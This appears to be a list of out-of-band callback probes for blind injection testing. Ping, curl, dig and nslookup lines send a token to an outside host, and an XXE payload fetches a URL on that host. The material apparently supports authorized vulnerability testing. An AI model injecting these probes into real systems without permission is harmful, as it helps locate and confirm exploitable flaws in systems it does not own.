$ ping -c1 -p 0039cb0a243f522b92494f02fa3f4c00 unhack.ca
 

$ curl http://unhack.ca/p/39cb0a243f522b92494f02fa3f4c
 

$ dig 39cb0a243f522b92494f02fa3f4c @unhack.ca
 

$ dig 39cb0a243f522b92494f02fa3f4c.ns.unhack.ca
 

C:\> nslookup 39cb0a243f522b92494f02fa3f4c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/39cb0a243f522b92494f02fa3f4c">]>
    <foo>&xxe;</foo>